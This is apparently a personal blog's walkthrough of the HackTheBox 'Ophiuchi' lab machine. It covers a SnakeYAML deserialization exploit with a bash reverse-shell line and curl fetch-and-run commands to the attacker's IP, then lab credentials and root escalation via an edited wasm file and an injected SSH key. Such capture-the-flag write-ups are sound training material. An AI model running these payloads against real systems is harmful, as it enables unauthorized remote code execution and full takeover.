___               _   ___   ___ 
|  _|_____ ___ ___| |_|_  | |  _|
|  _|     | .'|_ -|   |_| |_| . |
|_| |_|_|_|__,|___|_|_|_____|___|
                 u/fmash16's page

Hackthebox Ophiuchi - Writeup

This is a medium difficulty hackthebox machine, exploited using YAML deserialization vulnerablity for SnakeYAML used in java applications, and modifying wasm file to get root privileges.

We write the IP of the machine to our /etc/hosts file

echo "10.10.10.227 ophiuchi.htb" >> /etc/hosts

Nmap Scan

Open ports:

Enumeration

Port 8080 - Apache tomcat server

Going over to the page, we find a YAML parser. YAML is a human-readable data-serialization language. It is commonly used for configuration files and in applications where data is being stored or transmitted.

So lets check if we can exploit it using deserialization vulnerability. Googling for a bit, we find that SnakeYAML which is used in Java applications is vulnerable to deserialization. Found a really good medium blog by Swapneil Kumar Dash here.

We can use this deserialization vulnerablity to get remote code execution. The original paper is to be found at https://github.com/mbechler/marshalsec And the YAML payload we are going to use is found at https://github.com/artsploit/yaml-payload

SnakeYAML deserialization exploit

We clone the repo and edit AwesomeScriptEngineFactory.java file to execute are desired commands.

git clone https://github.com/artsploit/yaml-payload

We can execute system commands useing the Runtime.getRuntime().exec(). We write a bash script revshell.sh as follows

#!/bin/sh
bash -i >& /dev/tcp/10.10.14.6/8888 0>&1

Next we insert the commands to be executed on target machine. We use curl to get the revshell.sh from our machine and execute it.

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("curl http://10.10.14.6/mash.sh -o /tmp/mash.sh");
            Runtime.getRuntime().exec("bash /tmp/mash.sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

  ...
  ...

Now as per the instructions, we use the following commands to get our payload jar file

cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

Now, we have our payload jar file. We start a python web server at port 80 and insert the following YAML into the parser to get RCE. We also open a nc listener at port 8888 to get our reverse shell.

python3 -m http.server 80
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.6/yaml-payload.jar"]
  ]]
]

We can now get our reverse shell as user tomcat.

Privilege Escalation - User

Going to the home directory, we find a user named admin.

Browsing around, we find the user creds in the file /opt/tomcat/conf/tomcat-users.xsd. We find the following in the file

<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

Creds found:

User: admin
Password: whythereisalimit

We can now ssh into the machine as suer admin using the obtained creds.

Privilege Escalation - root

First, we check what sudo capabilities our user admin got using sudo -l.

We find the following

(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

So we can run /usr/bin/go run /opt/wasm-functions/index.go with root privileges. Let’s check out the file. We get the following

package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)


func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {          <==========================================
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

Here, we see that, functions and variables ar imported from the main.wasm file and checking the value of the varibale f, if it equals 1, we get ready to deploy and execute /bin/sh deploy.sh.

What’s notable here is that absolute path is not used for main.wasm and the deploy.sh files. So we can manipulate these. These files will be read from our current working directory, from where we run the index.go file.

We make our working directory in tmp and copy over the main.wasm file.

cd tmp
mkdir work && cd work

cp /opt/wasm-functions/main.wasm ./

We write our own deploy.sh file that echos out the id of the user.

#!/bin/sh

echo $(id)

Now, we run the following as sudo

sudo /usr/bin/go run /opt/wasm-functions/index.go

We get the error Not ready to deploy. So the value of f is not 1, which is read from the wasm file.

Wasm is short for WebAssembly. WebAssembly is an open standard that defines a portable binary-code format for executable programs, and a corresponding textual assembly language, as well as interfaces for facilitating interactions between such programs and their host environment.

The text readable format of WASM binary is WAT(Web Assembly Text). We can manipulate the value of f editing the wasm file in this format.

We install the toolsuit https://github.com/webassembly/wabt We have 2 binaries wasm2wat and wat2wasm that we can use.

We transfer the main.wasm file from the target machine to our local machine using nc

cat main.wasm | nc {your-ip} {your-port}   (on target)
nc -lnvp {your-port} > main.wasm           (on local)

We convert the wasm to wat and get the following

wasm2wat main.wasm > main.wat
cat main.wat
(module
  (type (;0;) (func (result i32)))
  (func $info (type 0) (result i32)
    i32.const 0)      <=======================================
  (table (;0;) 1 1 funcref)
  (memory (;0;) 16)
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))
  (global (;2;) i32 (i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func $info))
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))

Here we see that the value of f is a constant 0, we change that to 1, our required value.

[-]    i32.const 0)
[+]    i32.const 1)

Now we conver the wat back to nasm and move it to our target machine working directory.

wat2wasm main.wat
scp main.wasm admin@ophiuchi.htb:/tmp/work

Now, we run the sudo command again. And this time we get command execution as root

Ready to deploy
uid=0(root) gid=0(root) groups=0(root)

We get our id_rsa.pub using ssh-keygen and paste it to the authorized_keys file at /root/.ssh/ using the deploy.sh fileto be able to SSH into the machine as root.

#!/bin/sh

echo $(id)
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABA***********************************************************************************************************************************************
***************************************************************************************************************************************************************************************
*********************************************************************************************************************************************************************************7BLa+Y
zHy+9fuMs= root@kali" >> /root/.ssh/authorized_keys

Now we can ssh into root and get our root.txt file

ssh root@ophiuchi.htb
cat root.txt